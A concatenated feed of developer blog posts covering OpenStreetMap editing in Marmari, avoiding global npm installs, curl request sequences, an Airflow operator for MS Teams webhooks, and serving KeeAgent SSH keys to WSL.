<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_060.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_060.png" alt="OpenStreetMap fields filled for benches" title="" loading="lazy" /></span>
<figcaption>Benches are simple and useful</figcaption>
</figure><p></p>
<h2 id="uploading-changes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#uploading-changes">Uploading changes</a></h2>
<p>I try to keep the changesets similar to git commits, as small and ‘related’ as possible, with a brief description. A bunch of benches in a single changeset, a set of nearby streets, a block of adjacent buildings.</p>
<p>I also add the source as ‘survey’ if I verified the data myself. In the case of drawing buildings, the source is ‘aerial imagery’.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_064.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_064.png" alt="Upload to OpenStreetMap dialog with source set to survey indicating local presence" title="" loading="lazy" /></span>
<figcaption>Saving my OSM changes, marked as survey</figcaption>
</figure><p></p>
<h2 id="viewing-your-changes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#viewing-your-changes">Viewing your changes</a></h2>
<p>After performing so many edits, it’s rewarding to see the results appear on OpenStreetMap!</p>
<p><a href="https://www.openstreetmap.org/#map=18/38.04896/24.32156">https://www.openstreetmap.org/#map=18/38.04896/24.32156</a></p>
<p>However note that the new edits don’t appear in OpenStreetMap right away. It can take a few minutes, up to half an hour sometimes, for the new features to appear. While it’s tempting to keep refreshing, it’s better to just wait.</p>
<p>Other applications such as OSMAnd, Maps.Me and third party applications that use OpenStreetMap tiles won’t get the changes right away, even if it appears in OpenStreetMap - quite often these applications will pull in tiles from OpenStreetMap on a scheduled basis, so the wait time for these apps can be a few hours up to a month.</p>
<h2 id="watching-for-changes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/openstreetmap-workflow-marmari/#watching-for-changes">Watching for changes</a></h2>
<p>Making so many feature additions in an area creates a feeling of cartographic sentimentality towards it. I generally want to know what additional changes other OpenStreetMap contributors will make and in this case I also want to know if I made any mistakes so that I could learn from them.</p>
<p>There is a tool called <a href="https://simon04.dev.openstreetmap.org/whodidit/">WhoDidIt</a> which can help. First, I zoom in to the area of interest. Then click ‘Get RSS Link’, and draw a large box around the area. An ‘RSS Link’ is then available.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/openstreetmap-workflow-marmari/Selection_065.png">
<img src="https://code.mendhak.com/assets/images/openstreetmap-workflow-marmari/Selection_065.png" alt="Outline of a map area in the WhoDidIt tool" title="" loading="lazy" /></span>
<figcaption>Drawing an area to watch for changes via RSS</figcaption>
</figure><p></p>
<p><a href="https://simon04.dev.openstreetmap.org/whodidit/scripts/rss.php?bbox=24.306008,38.034519,24.340341,38.060609">The RSS feed for the Marmari area is here</a></p>
<p>Adding this RSS link to Feedly then lets me see when other users make changes or when notes are added with corrections or questions.</p>
Don't install npm packages globally2019-09-05T00:00:00Zhttps://code.mendhak.com/npm-install-globally-is-bad/<p>Many node packages and tools will encourage you to install their tools globally. This is a bad practice and should be avoided.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/npm-install-globally-is-bad/001.png">
<img src="https://code.mendhak.com/assets/images/npm-install-globally-is-bad/001.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Some examples of this are Angular, Grunt, Gulp, Karma, Verdaccio, Snyk, React Native.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/npm-install-globally-is-bad/002.png"><img src="https://code.mendhak.com/assets/images/npm-install-globally-is-bad/002.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/npm-install-globally-is-bad/003.png"><img src="https://code.mendhak.com/assets/images/npm-install-globally-is-bad/003.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/npm-install-globally-is-bad/004.png"><img src="https://code.mendhak.com/assets/images/npm-install-globally-is-bad/004.png" alt="" loading="lazy" data-caption="" style="width: calc(33% - 0.5em);" /></span>
<figcaption>Examples of well known packages encouraging global install</figcaption></figure>
<h2 id="why-it-should-be-avoided" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#why-it-should-be-avoided">Why it should be avoided</a></h2>
<p>When a tool asks you to install their tool globally, there are several issues they are ignoring.</p>
<h3 id="teams-work-on-several-projects" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#teams-work-on-several-projects">Teams work on several projects</a></h3>
<p>A team, even single developer, using Node tools will often have multiple projects. By placing the tool in the <code>$PATH</code>, that’s the version that all projects are dependent on.</p>
<h3 id="breaking-changes-happen" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#breaking-changes-happen">Breaking changes happen</a></h3>
<p>Minor changes can still contain breaking changes, despite semver’s intended promises. There will come a time when a project uses a feature or behavior in a certain version of the tool which breaks compatibility with the other projects. This can and will make project upgrades painful, in addition to the fact that it is increasing workload for no beneficial reason.</p>
<h3 id="it-does-not-save-time" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#it-does-not-save-time">It does not save time</a></h3>
<p>When you npm install a package, a copy is kept in a cache directory on the host. This allows for subsequent npm installs to be faster than the first install.
Even for a build server where there is no guaranteed cache, it is still possible to set up a local npm registry to help with speeding up npm install steps.</p>
<h3 id="it-is-dangerous" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#it-is-dangerous">It is dangerous</a></h3>
<p>Due to permissions required to write to the global directories, you may need to <code>sudo install -g toolname</code>.<br />
Combine this with the fact that npm install will run the package’s arbitrary scripts, any misconfiguration or malicious code can seriously compromise your server.</p>
<h2 id="what-to-do-instead" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#what-to-do-instead">What to do instead</a></h2>
<h3 id="run-it-with-npx" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#run-it-with-npx">Run it with <code>npx</code></a></h3>
<p>Since npm v5, a tool called <code>npx</code> has been bundled alongside. This tool will download a package locally, invoke it, and clean up after itself.</p>
<pre class="language-bash"><code class="language-bash">npx hashcat <span class="token parameter variable">--help</span></code></pre>
<h3 id="run-it-with-npm-bin" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#run-it-with-npm-bin">Run it with <code>$(npm bin)</code></a></h3>
<p>In any node project, <code>npm bin</code> will evaluate to the path of the bin directory inside <code>node_modules</code>. You can use this to use the tool locally.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span> hashcat
<span class="token variable"><span class="token variable">$(</span><span class="token function">npm</span> bin<span class="token variable">)</span></span>/hashcat <span class="token parameter variable">--help</span></code></pre>
<h3 id="run-it-with-package-json-scripts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/npm-install-globally-is-bad/#run-it-with-package-json-scripts">Run it with package.json scripts</a></h3>
<p>You can create custom scripts in your package.json. The path to the bin directory inside <code>node_modules</code> is already included.</p>
<p>Add your script,</p>
<pre class="language-json"><code class="language-json"><span class="token property">"scripts"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"helpme"</span><span class="token operator">:</span> <span class="token string">"hashcat --help"</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span></code></pre>
<p>Then run it</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span> hashcat
<span class="token function">npm</span> run helpme</code></pre>
Issuing multiple requests with `curl`2019-08-21T00:00:00Zhttps://code.mendhak.com/curl-multiple-requests-sequences/<p><code>curl</code> is normally used to issue a single request against a URL. Sometimes you need to issue multiple requests against a URL, or quickly stress test a server or endpoint. You don’t have to do this using bash’s loops, instead you can use <code>curl</code>’s own sequences feature, <code>[]</code></p>
<p>Here’s an example using httpbin:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token string">"https://httpbin.org/anything?a=[0-5]"</span></code></pre>
<p><code>curl</code> will issue 6 request, starting with <code>?a=0</code> to <code>?a=5</code>, one after the other. You can see the querystring reflected in the response body.</p>
<pre><code>{
...
"method": "GET",
"url": "https://httpbin.org/anything?a=0"
}
{
...
"method": "GET",
"url": "https://httpbin.org/anything?a=1"
}
...
</code></pre>
<p>The sequence can go anywhere in the URL and <code>curl</code> will increment it. The sequence can also be letters instead of numbers.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token string">"https://httpbin.org/anything/file_[a-f].txt"</span></code></pre>
<p>It’s also possible to specify a step using <code>:</code>, regardless of letters or numbers.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token string">"https://httpbin.org/anything/file_[a-f:3].txt"</span></code></pre>
<p>If you want to use items from a specific list, use <code>{}</code> with your comma separated values inside.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token string">"https://httpbin.org/anything/{lorem,ipsum,dolor}"</span></code></pre>
<p>And finally you can mix and match sequences together.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-s</span> <span class="token string">"https://httpbin.org/anything/[0-6:3]_file_{lorem,ipsum,dolor}"</span></code></pre>
Short guide to good commit messages2019-08-15T00:00:00Zhttps://code.mendhak.com/git-commit-message/<html lang="en">
<title></title>
<meta name="description" content="" />
<head>
<style type="text/css">
h1 {
left: 0;
line-height: 200px;
margin-top: -100px;
position: absolute;
text-align: center;
top: 50%;
width: 100%;
font-size: 600%;
font-family: Roboto,Arial,sans-serif;
}
.hide {
display: none;
}
</style>
</head>
<body>
<p><span class="hide"></span></p>
<h1>If applied, this commit will:</h1>
</body>
</html>
MS Teams Operator for Apache Airflow2019-08-07T00:00:00Zhttps://code.mendhak.com/Airflow-MS-Teams-Operator/<p>This Apache Airflow operator can send messages to specific MS Teams Channels. It can be especially useful if you use MS Teams for your chatops. There are various options to customize the appearance of the cards.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/Airflow-MS-Teams-Operator"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/Airflow-MS-Teams-Operator </span> </a> </div> <div class="github-repo-text">Airflow operator that can send messages to MS Teams</div> <div class="stats-icons"> <a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 87 </a> <a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 26 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> Python</a> </div></div>
<p>Common usages for this would be:</p>
<ul>
<li>A final step in a DAG to notify of success</li>
<li>Notify a group of users when something needs attention</li>
<li>Notify developers when a DAG has failed with option to view logs</li>
</ul>
<h2 id="screenshots" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/Airflow-MS-Teams-Operator/#screenshots">Screenshots</a></h2>
<figure>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/001.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/001.png" alt="Header, subtitle, and body" loading="lazy" data-caption="Header, subtitle, and body" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/004.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/004.png" alt="Header, subtitle, body, facts, and a button" loading="lazy" data-caption="Header, subtitle, body, facts, and a button" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/002.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/002.png" alt="Body with coloured text and coloured button" loading="lazy" data-caption="Body with coloured text and coloured button" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/005.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/005.png" alt="Body and empty green header" loading="lazy" data-caption="Body and empty green header" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/003.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/003.png" alt="Coloured header, body, button, in dark mode" loading="lazy" data-caption="Coloured header, body, button, in dark mode" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/Airflow-MS-Teams-Operator/006.png"><img src="https://code.mendhak.com/assets/images/Airflow-MS-Teams-Operator/006.png" alt="Body and coloured header, without logo" loading="lazy" data-caption="Body and coloured header, without logo" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<h2 id="usage" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/Airflow-MS-Teams-Operator/#usage">Usage</a></h2>
<p>The usage can be very basic from just a message, to several parameters including a full card with header, subtitle, body, facts, and a button. There are some style options too.</p>
<p>A very basic message:</p>
<pre class="language-python"><code class="language-python"> op1 <span class="token operator">=</span> MSTeamsPowerAutomateWebhookOperator<span class="token punctuation">(</span>
task_id<span class="token operator">=</span><span class="token string">"send_to_teams"</span><span class="token punctuation">,</span>
http_conn_id<span class="token operator">=</span><span class="token string">"msteams_webhook_url"</span><span class="token punctuation">,</span>
body_message<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully in **localhost**"</span><span class="token punctuation">,</span>
<span class="token punctuation">)</span></code></pre>
<p>Add a button:</p>
<pre class="language-python"><code class="language-python">op1 <span class="token operator">=</span> MSTeamsPowerAutomateWebhookOperator<span class="token punctuation">(</span>
task_id<span class="token operator">=</span><span class="token string">"send_to_teams"</span><span class="token punctuation">,</span>
http_conn_id<span class="token operator">=</span><span class="token string">"msteams_webhook_url"</span><span class="token punctuation">,</span>
body_message<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully in **localhost**"</span><span class="token punctuation">,</span>
button_text<span class="token operator">=</span><span class="token string">"View Logs"</span><span class="token punctuation">,</span>
button_url<span class="token operator">=</span><span class="token string">"https://example.com"</span><span class="token punctuation">,</span>
<span class="token punctuation">)</span></code></pre>
<p>Add a heading and subtitle:</p>
<pre class="language-python"><code class="language-python">op1 <span class="token operator">=</span> MSTeamsPowerAutomateWebhookOperator<span class="token punctuation">(</span>
task_id<span class="token operator">=</span><span class="token string">"send_to_teams"</span><span class="token punctuation">,</span>
http_conn_id<span class="token operator">=</span><span class="token string">"msteams_webhook_url"</span><span class="token punctuation">,</span>
heading_title<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully"</span><span class="token punctuation">,</span>
heading_subtitle<span class="token operator">=</span><span class="token string">"In **localhost**"</span><span class="token punctuation">,</span>
body_message<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully in **localhost**"</span><span class="token punctuation">,</span>
button_text<span class="token operator">=</span><span class="token string">"View Logs"</span><span class="token punctuation">,</span>
button_url<span class="token operator">=</span><span class="token string">"https://example.com"</span><span class="token punctuation">,</span>
<span class="token punctuation">)</span></code></pre>
<p>Add some colouring — header bar colour, subtle subtitle, body text colour, button colour:</p>
<pre class="language-python"><code class="language-python">op1 <span class="token operator">=</span> MSTeamsPowerAutomateWebhookOperator<span class="token punctuation">(</span>
task_id<span class="token operator">=</span><span class="token string">"send_to_teams"</span><span class="token punctuation">,</span>
http_conn_id<span class="token operator">=</span><span class="token string">"msteams_webhook_url"</span><span class="token punctuation">,</span>
header_bar_style<span class="token operator">=</span><span class="token string">"good"</span><span class="token punctuation">,</span>
heading_title<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully"</span><span class="token punctuation">,</span>
heading_subtitle<span class="token operator">=</span><span class="token string">"In **localhost**"</span><span class="token punctuation">,</span>
heading_subtitle_subtle<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span>
body_message<span class="token operator">=</span><span class="token string">"DAG **lorem_ipsum** has completed successfully in **localhost**"</span><span class="token punctuation">,</span>
body_message_color_type<span class="token operator">=</span><span class="token string">"good"</span><span class="token punctuation">,</span>
button_text<span class="token operator">=</span><span class="token string">"View Logs"</span><span class="token punctuation">,</span>
button_url<span class="token operator">=</span><span class="token string">"https://example.com"</span><span class="token punctuation">,</span>
button_style<span class="token operator">=</span><span class="token string">"positive"</span><span class="token punctuation">,</span>
<span class="token punctuation">)</span></code></pre>
<p>You can also look at <a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/blob/master/sample_dag.py">this sample_dag.py</a>, for an example of how to use this operator in a DAG.
A full list of parameters can be find in the <a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/#parameters">README</a>.</p>
<p>There is a bit of prep work required in Teams as well as Airflow to enable this functionality.</p>
<h2 id="prepare-ms-teams" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/Airflow-MS-Teams-Operator/#prepare-ms-teams">Prepare MS Teams</a></h2>
<p>Create a webhook to post to Teams. The Webhook needs to be of the PowerAutomate type, not the deprecated Incoming Webhook type. Currently this is done either through the ‘workflows’ app in Teams, or via <a href="https://powerautomate.com/">PowerAutomate</a>.</p>
<div class="notice warning">
Webhooks don’t usually have additional authentication; you should treat this URL as sensitive and keep it in a safe place.
</div>
<h2 id="prepare-airflow" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/Airflow-MS-Teams-Operator/#prepare-airflow">Prepare Airflow</a></h2>
<p>Once that’s ready, <a href="https://airflow.apache.org/docs/apache-airflow/stable/howto/connection.html">create an HTTP Connection</a> in Airflow with the Webhook URL.</p>
<ul>
<li>Conn Type: HTTP</li>
<li>Host: The URL without the https://</li>
<li>Schema: https</li>
</ul>
<p>Copy the <a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/blob/master/ms_teams_powerautomate_webhook_operator.py">ms_teams_power_automate_webhook_operator.py</a> file into your Airflow dags folder and <code>import</code> it in your DAG code.</p>
<p><a href="https://github.com/mendhak/Airflow-MS-Teams-Operator/blob/master/ms_teams_powerautomate_webhook_operator.py"><button>MS Teams Operator</button></a></p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> ms_teams_powerautomate_webhook_operator <span class="token keyword">import</span> MSTeamsPowerAutomateWebhookOperator</code></pre>
<h2 id="notifying-ms-teams-on-dag-failures" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/Airflow-MS-Teams-Operator/#notifying-ms-teams-on-dag-failures">Notifying MS Teams on DAG failures</a></h2>
<p>You can use Airflow’s built in <code>on_failure_callback</code> to notify MS Teams when a DAG fails. This will create a card with a ‘View Log’ button that developers can click on and go directly to the log of the failing DAG operator. Very convenient.</p>
<p>Create a method that receives the failure context, which calls <code>MSTeamsPowerAutomateWebhookOperator</code>. Set this method in the <code>on_failure_callback</code> of the DAG.</p>
<pre class="language-python"><code class="language-python">
<span class="token keyword">def</span> <span class="token function">get_formatted_date</span><span class="token punctuation">(</span><span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token punctuation">:</span>
iso8601date <span class="token operator">=</span> kwargs<span class="token punctuation">[</span><span class="token string">"execution_date"</span><span class="token punctuation">]</span><span class="token punctuation">.</span>strftime<span class="token punctuation">(</span><span class="token string">"%Y-%m-%dT%H:%M:%SZ"</span><span class="token punctuation">)</span>
<span class="token comment"># Teams date/time formatting: https://learn.microsoft.com/en-us/adaptive-cards/authoring-cards/text-features#datetime-example </span>
formatted_date <span class="token operator">=</span> <span class="token punctuation">(</span>
<span class="token string-interpolation"><span class="token string">f"{{{{DATE(</span><span class="token interpolation"><span class="token punctuation">{</span>iso8601date<span class="token punctuation">}</span></span><span class="token string">, SHORT)}}}} at {{{{TIME(</span><span class="token interpolation"><span class="token punctuation">{</span>iso8601date<span class="token punctuation">}</span></span><span class="token string">)}}}}"</span></span>
<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>formatted_date<span class="token punctuation">)</span>
<span class="token keyword">return</span> formatted_date
<span class="token keyword">def</span> <span class="token function">on_failure</span><span class="token punctuation">(</span>context<span class="token punctuation">)</span><span class="token punctuation">:</span>
dag_id <span class="token operator">=</span> context<span class="token punctuation">[</span><span class="token string">'dag_run'</span><span class="token punctuation">]</span><span class="token punctuation">.</span>dag_id
task_id <span class="token operator">=</span> context<span class="token punctuation">[</span><span class="token string">'task_instance'</span><span class="token punctuation">]</span><span class="token punctuation">.</span>task_id
context<span class="token punctuation">[</span><span class="token string">'task_instance'</span><span class="token punctuation">]</span><span class="token punctuation">.</span>xcom_push<span class="token punctuation">(</span>key<span class="token operator">=</span>dag_id<span class="token punctuation">,</span> value<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
logs_url <span class="token operator">=</span> <span class="token string">"https://myairflow/admin/airflow/log?dag_id={}&task_id={}&execution_date={}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>
dag_id<span class="token punctuation">,</span> task_id<span class="token punctuation">,</span> context<span class="token punctuation">[</span><span class="token string">'ts'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
teams_notification <span class="token operator">=</span> MSTeamsPowerAutomateWebhookOperator<span class="token punctuation">(</span>
task_id<span class="token operator">=</span><span class="token string">"msteams_notify_failure"</span><span class="token punctuation">,</span> trigger_rule<span class="token operator">=</span><span class="token string">"all_done"</span><span class="token punctuation">,</span>
header_bar_style<span class="token operator">=</span><span class="token string">"attention"</span><span class="token punctuation">,</span>
heading_title<span class="token operator">=</span><span class="token string">"Airflow DAG Failure"</span><span class="token punctuation">,</span>
heading_subtitle<span class="token operator">=</span>get_formatted_date<span class="token punctuation">(</span><span class="token operator">**</span>context<span class="token punctuation">)</span><span class="token punctuation">,</span>
body_message<span class="token operator">=</span><span class="token string">"`{}` has failed on task: `{}`"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>dag_id<span class="token punctuation">,</span> task_id<span class="token punctuation">)</span><span class="token punctuation">,</span>
button_text<span class="token operator">=</span><span class="token string">"View log"</span><span class="token punctuation">,</span> button_url<span class="token operator">=</span>logs_url<span class="token punctuation">,</span>
http_conn_id<span class="token operator">=</span><span class="token string">'msteams_webhook_url'</span><span class="token punctuation">)</span>
teams_notification<span class="token punctuation">.</span>execute<span class="token punctuation">(</span>context<span class="token punctuation">)</span>
default_args <span class="token operator">=</span> <span class="token punctuation">{</span>
<span class="token string">'owner'</span> <span class="token punctuation">:</span> <span class="token string">'airflow'</span><span class="token punctuation">,</span>
<span class="token string">'description'</span> <span class="token punctuation">:</span> <span class="token string">'a test dag'</span><span class="token punctuation">,</span>
<span class="token string">'start_date'</span> <span class="token punctuation">:</span> datetime<span class="token punctuation">(</span><span class="token number">2019</span><span class="token punctuation">,</span><span class="token number">8</span><span class="token punctuation">,</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token string">'on_failure_callback'</span><span class="token punctuation">:</span> on_failure
<span class="token punctuation">}</span></code></pre>
<p>Of course substitute the <code>logs_url</code> with the address of your own Airflow. For convenience you can move the method out into a common Python module that every DAG imports from.</p>
How to use KeeAgent with WSL and Ubuntu2019-08-01T00:00:00Zhttps://code.mendhak.com/keeagent-with-wsl/<p>How to serve SSH keys to <code>ssh</code> running in WSL (Ubuntu) from KeeAgent running in Windows 10.</p>
<h2 id="using-keeagent-with-wsl" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keeagent-with-wsl/#using-keeagent-with-wsl">Using KeeAgent with WSL</a></h2>
<p>WSL (Windows Subsystem for Linux) has been gaining popularity in recent years, as it allows running an Ubuntu shell from within Windows. Its architecture involves a degree of separation and so there are additional steps to get ssh in WSL/Ubuntu talking to KeeAgent running in Windows.</p>
<div class="notice info">
This is a follow up to the previous post, <a href="https://code.mendhak.com/posts/2019-07-28-keepass-and-keeagent-setup.md">Using KeePass to serve SSH keys</a>.<br />
This post also assumes you have <a href="https://docs.microsoft.com/en-us/windows/wsl/install-win10">already installed WSL</a>
</div>
<h3 id="get-weasel-pageant" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keeagent-with-wsl/#get-weasel-pageant">Get weasel-pageant</a></h3>
<p>Although weasel-pageant is meant to allow usage of Pageant keys from WSL, it works just as well for our use case, since KeeAgent is also compatible with Putty.</p>
<p><a href="https://github.com/vuori/weasel-pageant/releases"><button>Download weasel-pageant</button></a></p>
<p>Extract the zip in Windows, not in WSL. You can place it anywhere. If you’re keeping with the portable theme, it can be placed in a synched directory near Keepass and your KDBX.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-11.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-11.png" alt="KeeAgent downloaded" loading="lazy" /></span>
<figcaption>KeeAgent downloaded</figcaption>
</figure><p></p>
<h3 id="tell-wsl-to-use-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keeagent-with-wsl/#tell-wsl-to-use-it">Tell WSL to use it</a></h3>
<p>You will then need to tell WSL to talk to the weasel-pageant. In WSL, add the following lines to <code>~/.bashrc</code>, remember to modify <code>weaselpath</code> to match the directory where you extracted weasel-pageant.</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">weaselpath</span><span class="token operator">=</span><span class="token string">"/mnt/c/Users/mendhak/Google Drive/Documents/keys/wsl-pageant-helper/"</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-n</span> <span class="token string">"pageant loading, wait..."</span>
<span class="token string">"<span class="token variable">$weaselpath</span>/weasel-pageant"</span> -k<span class="token operator">></span> /dev/null <span class="token operator"><span class="token file-descriptor important">2</span>></span> /dev/null
